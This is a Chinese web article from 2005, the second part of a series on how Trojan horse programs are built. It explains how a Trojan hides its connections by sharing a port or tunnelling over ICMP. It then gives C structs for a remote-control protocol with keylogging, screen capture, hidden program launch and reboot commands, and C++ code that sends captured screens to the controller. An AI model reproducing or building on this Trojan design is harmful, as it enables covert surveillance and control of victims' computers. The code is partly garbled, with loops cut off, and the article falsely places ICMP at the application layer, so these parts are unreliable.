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透视特洛伊木马程序开发技术(中)

2005-12-5 00:15 717 0

摘要: 上一期我们推出《透视木马程序开发技术(上)》这期我们推出这个系列的第二部份,希望能对你了解木马技术以便安全的管理你的计算机提供一定的帮助。     4、木马程序的建立连接的隐藏     木马程序的数据...
关键词: Liumy define 消息 TCP LISTENING 数据 num sizeof 木马 Msg

上一期我们推出《透视木马程序开发技术(上)》这期我们推出这个系列的第二部份,希望能对你了解木马技术以便安全的管理你的计算机提供一定的帮助。     4、木马程序的建立连接的隐藏     木马程序的数据传递方法有很多种,其中最常见的要属TCP,UDP传输数据的方法了,通常是利用Winsock与目标机的指定端口建立起连接,使用send和recv等API进行数据的传递,但是由于这种方法的隐蔽性比较差,往往容易被一些工具软件查看到,最简单的,比如在命令行状态下使用netstat命令,就可以查看到当前的活动TCP,UDP连接。  C:Documents and Settingsigball>netstat -n  Active Connections   Proto Local Address Foreign Address State   TCP 192.0.0.9:1032 64.4.13.48:1863 ESTABLISHED   TCP 192.0.0.9:1112 61.141.212.95:80 ESTABLISHED   TCP 192.0.0.9:1135 202.130.239.223:80 ESTABLISHED   TCP 192.0.0.9:1142 202.130.239.223:80 ESTABLISHED   TCP 192.0.0.9:1162 192.0.0.8:139 TIME_WAIT   TCP 192.0.0.9:1169 202.130.239.159:80 ESTABLISHED   TCP 192.0.0.9:1170 202.130.239.133:80 TIME_WAIT  C:Documents and Settingsigball>netstat -a  Active Connections   Proto Local Address Foreign Address State   TCP Liumy:echo Liumy:0 LISTENING   TCP Liumy:discard Liumy:0 LISTENING   TCP Liumy:daytime Liumy:0 LISTENING   TCP Liumy:qotd Liumy:0 LISTENING   TCP Liumy:chargen Liumy:0 LISTENING   TCP Liumy:epmap Liumy:0 LISTENING   TCP Liumy:microsoft-ds Liumy:0 LISTENING   TCP Liumy:1025 Liumy:0 LISTENING   TCP Liumy:1026 Liumy:0 LISTENING   TCP Liumy:1031 Liumy:0 LISTENING   TCP Liumy:1032 Liumy:0 LISTENING   TCP Liumy:1112 Liumy:0 LISTENING   TCP Liumy:1135 Liumy:0 LISTENING   TCP Liumy:1142 Liumy:0 LISTENING   TCP Liumy:1801 Liumy:0 LISTENING   TCP Liumy:3372 Liumy:0 LISTENING   TCP Liumy:3389 Liumy:0 LISTENING   TCP Liumy:netbios-ssn Liumy:0 LISTENING   TCP Liumy:1028 Liumy:0 LISTENING   TCP Liumy:1032 msgr-ns19.msgr.hotmail.com:1863 ESTAB   TCP Liumy:1112 szptt61.141.szptt.net.cn:http ESTABLI   TCP Liumy:1135 202.130.239.223:http ESTABLISHED   TCP Liumy:1142 202.130.239.223:http ESTABLISHED   TCP Liumy:1162 W3I:netbios-ssn TIME_WAIT   TCP Liumy:1170 202.130.239.133:http TIME_WAIT   TCP Liumy:2103 Liumy:0 LISTENING   TCP Liumy:2105 Liumy:0 LISTENING   TCP Liumy:2107 Liumy:0 LISTENING   UDP Liumy:echo *:*   UDP Liumy:discard *:*   UDP Liumy:daytime *:*   UDP Liumy:qotd *:*   UDP Liumy:chargen *:*   UDP Liumy:epmap *:*   UDP Liumy:snmp *:*   UDP Liumy:microsoft-ds *:*   UDP Liumy:1027 *:*   UDP Liumy:1029 *:*   UDP Liumy:3527 *:*   UDP Liumy:4000 *:*   UDP Liumy:4001 *:*   UDP Liumy:1033 *:*   UDP Liumy:1148 *:*   UDP Liumy:netbios-ns *:*   UDP Liumy:netbios-dgm *:*   UDP Liumy:isakmp *:*    但是,黑客还是用种种手段躲避了这种侦察,就我所知的方法大概有两种,一种是合并端口法,也就是说,使用特殊的手段,在一个端口上同时绑定两个TCP或者UDP连接,这听起来不可思议,但事实上确实如此,而且已经出现了使用类似方法的程序,通过把自己的木马端口绑定于特定的服务端口之上,(比如80端口的HTTP,谁怀疑他会是木马程序呢?)从而达到隐藏端口的目地。另外一种办法,是使用ICMP(Internet Control Message Protocol)协议进行数据的发送,原理是修改ICMP头的构造,加入木马的控制字段,这样的木马,具备很多新的特点,不占用端口的特点,使用户难以发觉,同时,使用ICMP可以穿透一些防火墙,从而增加了防范的难度。之所以具有这种特点,是因为ICMP不同于TCP,UDP,ICMP工作于网络的应用层不使用TCP协议。关于网络层次的结构,下面给出图示:       网络层次结构图    5、发送数据的组织方法    关于数据的组织方法,可以说是数学上的问题。关键在于传递数据的可靠性,压缩性,以及高效行。木马程序,为了避免被发现,必须很好的控制数据传输量,一个编制较好的木马,往往有自己的一套传输协议,那么程序上,到底是如何组织实现的呢?下面,我举例包装一些协议:  typedef struct{ //定义消息结构  //char ip[20];  char Type; //消息种类  char Password[20]; //密码  int CNum; //消息操作号  //int Length; //消息长度  }Msg;  #define MsgLen sizeof(Msg)  //-------------------------------------------  //对话框数据包定义:Dlg_Msg_Type.h  //-------------------------------------------  //定义如下消息类型:  #define MsgDlgCommon 4//连接事件  #define MsgDlgSend 5//发送完成事件  //消息结构  typedef struct{   char Name[20];//对话框标题   char Msg[256];//对话框消息内容  }MsgDlgUint;  #define MsgDlgLen sizeof(MsgDlgUint)//消息单元长度  //------------------------------------------  //聊天数据包定义:Chat_Msg_Type.h  //------------------------------------------  //定义如下消息类型:  #define MsgChatCommon 0//连接事件  #define MsgChatConnect 1//接入事件  #define MsgChatEscept 2//结束事件  #define MsgChatReceived 16//确认对话内容收到  //消息结构  typedef struct{   char ClientName[20];//Client自定义的名称   char Msg[256];//发送的消息  }MsgChatUint;  #define MsgChatLen sizeof(MsgChatUint)//消息单元长度  //------------------------------------------  //重启数据包定义:Reboot_Msg_Type.h  //------------------------------------------  //定义如下消息类型:  #define MsgReBoot 15//重启事件  //------------------------------------------  //目录结构请求数据包定义:Dir_Msg_Type.h  //------------------------------------------  //定义如下消息类型:  #define MsgGetDirInfo 17  #define MsgReceiveGetDirInfo 18  typedef struct{  char Dir[4096];//你要的目录名  }MsgDirUint;  #define MsgDirUintLen sizeof(MsgDirUint)  // TCP的Msg  typedef struct{ //定义消息结构  char SType; //消息种类  char SPassword[20]; //密码  //int SNum; //消息操作号  char *AllMsg;  }SMsg;  #define SMsgLen sizeof(SMsg)  #define MSGListProgram 19  #define MSGFlyMouse 21  #define MSGGoWithMouse 22  #define MSGSaveKey 23  #define MSGTracekey 24  #define MsgCopyScreen 25//tcp接收消息,udp请求消息  #define MSGCopyWindow 26   //-------------------------  //鼠标指针隐藏和显示控制  //-------------------------  #define MsgSetMouseStat 27//设置消息  #define MsgMouseStat 28//成功消息  typedef struct{  bool mouseshow;  }MsgSetMouseStatUint;  #define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint)   //-------------------------  //任务栏隐藏和显示控制  //-------------------------  #define MsgSetTaskBarStat 29//设置消息  #define MsgTaskBarStat 30//成功消息  typedef struct{  bool taskshow;  }MsgSetTaskBarStatUint;  #define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint)  //-------------------------  //得到机器名  //-------------------------  #define MsgGetNetBiosName 31//取请求  #define MsgNetBiosName 32//回送机器名  typedef struct{  char NetBiosName[128];  }MsgNetBiosNameUint;  #define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)  //-------------------------  //关闭进程变更!  //-------------------------  #define MsgSetProgramClose 33//关闭请求  #define MsgProgramClosed 34//成功消息-----  typedef struct{  char ProgramName[4096];//old struct : char ProgramName[128];//要关闭的窗口的名字  }MsgSetProgramCloseUint;  #define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)  //-------------------------  //打开进程变更!  //-------------------------  #define MsgSetProgramOpen 20//打开请求  #define MsgProgramOpened 36//成功消息  typedef struct{  char ProgramName[4096]; //old struct : char ProgramName[128];//要打开的程序的名字  bool ProgramShow;//前台运行或后台运行程序(隐藏运行)  }MsgSetProgramOpenUint;  #define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)  #define MsgGetHardWare 35//请求硬件信息(UDP消息)和回传硬件信息(TCP消息)    上面一段定义,使用了TCP和UDP两种协议目的就是为了减少TCP连接的几率,这样所消耗的系统资源就会比较少,不容易让目标机察觉。很多木马程序中,都有像上面定义中类似的密码定义,目地是为了防止非真实客户机的连接请求。SNum 为消息操作号,它的作用是为了效验数据是否是发送过的,经过分析而知,我们熟悉的OICQ也正是使用了这一办法来校验消息的。  数据协议组织好,还有一步工作,就是数据的打包发送,一般的方法是把全部数据压为一个VOID类型的数据流,然后发送:   Msg *msg=new Msg;  TMemoryStream *RData=new TMemoryStream;  NMUDP1->ReadStream(RData);  RData->Read(msg,sizeof(Msg));  UdpConnect *udpconnect=new UdpConnect;  NetBiosName *netbiosname=new NetBiosName;  if(msg->CNum==CNumBak)  return;  else{  CNumBak=msg->CNum;  switch(msg->Type)  {  case 0://MsgUdpConnect  RData->Read(udpconnect,sizeof(UdpConnect));  checkuser(udpconnect->IsRight);  break;  case 1:  RData->Read(netbiosname,sizeof(NetBiosName));  AnsiString jqm="机器名 ";  jqm+=(AnsiString)netbiosname->NetBiosName;  Memo2->Lines->Add(jqm);  break;  }  }  ??当服务器端收到数据后,首先要做的工作是解包还原VOID流为结构化的协议,这里同样给出事例代码:  NMUDP1->RemoteHost=FromIP;  NMUDP1->RemotePort=Port;  TMemoryStream *RData=new TMemoryStream;  NMUDP1->ReadStream(RData);  Msg *msg=new Msg;  RData->Read(msg,sizeof(Msg));  if(msg->CNum==CNumBak)  return;  else  {  CNumBak=msg->CNum;  switch(msg->Type)  {  case 0:  checkuser(msg->Password);  break;  case 1:  GetNetBiosName();  break;  case 2:  CheckHard();  break;  }  }  此外,很多木马程序支持了屏幕回传的功能,其根本的原理是先捕获屏幕画面,然后回传给客户机,由于画面的数据量很大所以,很多木马程序都是在画面改变的时候才回传改变部分的画面,常用的手段是最小矩形法,下面以好友“古老传说”的一段算法举例:   #define MAXXCount 10 //屏幕X方向最多分割块数  #define MAXYCount 5 //... Y................  #define DestNum 1000 //每块的偏移检测点最大个数  COLORREF Colors[MAXXCount][MAXYCount][DestNum];  COLORREF BakColors[MAXXCount]{MAXYCount][DestNum];  TPoint Dests[DestNum];  int Sw;  int Sh;  int xCount;  int yCount;  int ItemWidth;  int ItemHeight;  int Dnum;  int Qlity;  //得到消息后执行:  //另外:接收到的数据包中分析出 Dnum ,Qlity  //Dnum:偏移观测点数量  //Qlity:图象要求质量  __fastcall TForm1::CopyScreen(int DNum,int Qlity){  ItemWidth=Sw/xCount;  ItemHeight=Sh/yCount;  Sw=Screen->Width;  Sh=Screen->Height;  xCount=(Sw>1000)?8:6;  yCount=(Sh>1000)?3:2;  for (int num1=0;num1 Dests[num1].x=random(ItemWidth);  Dests[num1].y=random(ItemHeight);  }  CatchScreen(DNum,Qlity);  }  //收到刷屏消息后只执行:  CatchScreen(DNum,Qlity);  __fastcall TForm1::CatchScreen(int DNum,int Qlity){  //函数功能:扫描改变的屏幕区域,并切经过优化处理,最后发送这些区域数据  //DNum: 偏移量 Qlity:图象质量  HDC dc=GetDC(GetDesktopWindow());  Graphics::TBitmap *bm=new Graphics::TBitmap;  bm->Width=Sw;  bm->Height=Sh;  BitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0);  int num1,num2,num3;  int nowx,nowy;  bool Change;  bool ItemChange[MAXXCount][MAXYCount];  for (num1=0;num1 nowx=ItemWidth*num1;  for (num2=0;num2 nowy=ItemHeight*num2;  Change=false;  for (num3=0;num3 Colors[num1][num2][num3]=bm->Canvas->Pixels[nowx+Dests[num3].x][nowy+Dests[num3].y];  if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){  BakColors[num1][num2][num3]=Colors[num1][num2][num3];  ItemChange[num1][num2]=true;  }  }  }  }  int CNum,MaxCNum;  int ChangedNum=0;  TRect *Rect;  int num4;  int MinSize=10000;  int m;  TRect MinRect;  Graphics::TBitmap *bt2=new Graphics::TBitmap;  TJPEGImage *j=new TJPEGImage;  //************************  j->Quality=Qlity;  //************************  CopyScreenUint CopyScreen;  CopyScreenItemUint CopyScreenItem;  TMemoryStream *ms=new TMemoryStream;  ms->Write(&TcpMsg,sizeof(TcpMsgUint));  ms->Write(&CopyScreen,sizeof(CopyScreenUint));  do{  for (num1=0;num1 for (num2=0;num2 for (num3=num1+1;num3<=xCount;num3++){  MaxCNum=0;  for (num4=num2+1;num4<=yCount;num4++){ //遍历所有矩形  CNum=GetChangedNum(TRect(num1,num2,num3,num4));  if (CNum>MaxCNum) MaxCNum=CNum;  m=(num3-num1)*(num4-num2);  if (2*m-CNum MinSize=2*m-CNum;  MinRect=TRect(num1,num2,num3,num4);  }  }  }  TMemoryStream *ms;  BitBlt(bt2->Canvas->Handle,0,0,ItemWidth-1,ItemHeight-1,bt->Canvas->Handle,0,0);  j->Assign(bt2);  j->SaveToStream(ms2);  CopyScreenItem.Rect=TRect(num1,num2,num3,num4);  CopyScreenItem.FileType=JPEGFILE; //JPEGFILE 定义为:#define JPEGFILE 1  ms2->Position=0;  CopyScreenItem.Length=ms2->Size;  ms->Write(&CopyScreenItem,sizeof(ScreenItemUint));  ms->CopyFrom(ms2,ms2->Size);  ChangedNum++;  }while(MaxCNum>0);  TcpMsg.Type=MsgCopyScreen;  ms->Position=0;  TcpMsg.Length=ms->Size-sizeof(TcpMsgUint);  CopyScreen.Count=ChangedNum;  ms->Write(&TcpMsg,sizeof(TcpMsgUint));  ms->Write(&CopyScreen,sizeof(CopyScreenUInt));  ms->Position=0;  sock->SendStream(ms);  }    这个程序把屏幕画面切分为了多个部分,并存储画面为JPG格式,这样压缩率就变的十分的高了。通过这种方法压缩处理过的数据,变得十分小,甚至在屏幕没有改变的情况下,传送的数据量为0,在这里不做过多分析了,有兴趣的朋友,可以多看看。
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